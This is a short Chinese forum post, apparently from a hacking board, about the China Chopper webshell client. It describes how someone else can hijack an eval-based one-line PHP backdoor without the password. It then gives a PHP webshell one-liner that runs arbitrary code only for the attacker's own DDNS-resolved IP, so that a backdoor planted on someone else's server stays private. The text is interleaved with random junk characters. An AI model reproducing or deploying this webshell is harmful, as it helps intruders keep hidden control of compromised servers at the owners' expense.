今天试了下“中国菜刀”这款C/S的WEB管理软件,发现一个致命的漏洞& A% t9 P/ W. d0 O5 f e& I3 j
' E6 R$ A1 H; G
就算你设置了密码,使用了eval($_REQUEST['moyo']);6 e6 L8 E6 P; Y8 A4 q7 U5 Z
$ }* ?1 p: @6 S. P( m; B但是别人还是可以在不知道连接密码是moyo的情况下直接使用你的一句话后门6 P9 D; I) N G2 Q/ b
8 J6 z1 p0 N% R% w因为$_REQUEST['moyo']传递的内容是@eval(base64_decode($_POST[z0]));
8 i, S7 N: \, u0 ~; \' }0 W4 P, x! V3 i) A
直接访问 /backdoor.php?z0={BASE64加密后的代码} 就可以执行代码了% y3 T7 ]" P# M, w/ W
8 \; d. k k5 s6 ?不知道是设计缺陷还是故意留的后门4 W0 `* X; C' h- U: Z
! o% h5 w8 T& Y; K如果有人使用一句话之类的密码,有个小技巧可以避免自己的一句话被人盗用 Z6 `/ {; l+ ?, p6 K9 b
j/ h! _9 O+ I$ d) t; y本地使用花生壳之类的DDNS软件,比如分配域名是moyo.apiz.org G% g3 o+ v/ V. Y e3 ]
9 C. a5 K+ j6 R' B3 V
然后一句话后门这样写
; H E' q# H6 \/ B
& g/ Z8 @, O4 b1 M2 O- ^<?php $_SERVER['REMOTE_ADDR'] == gethostbyname('moyo.apiz.org') ? @eval($_REQUEST['moyo']) : exit('DENIED') ?>
! R: q2 y9 n9 Z2 u. ~5 W2 K这样就可以让一句话后门只允许自己的电脑连接了
. l) _9 k0 M1 X! a3 |1 E
: k( l4 b* `7 _* V' Q" E5 N |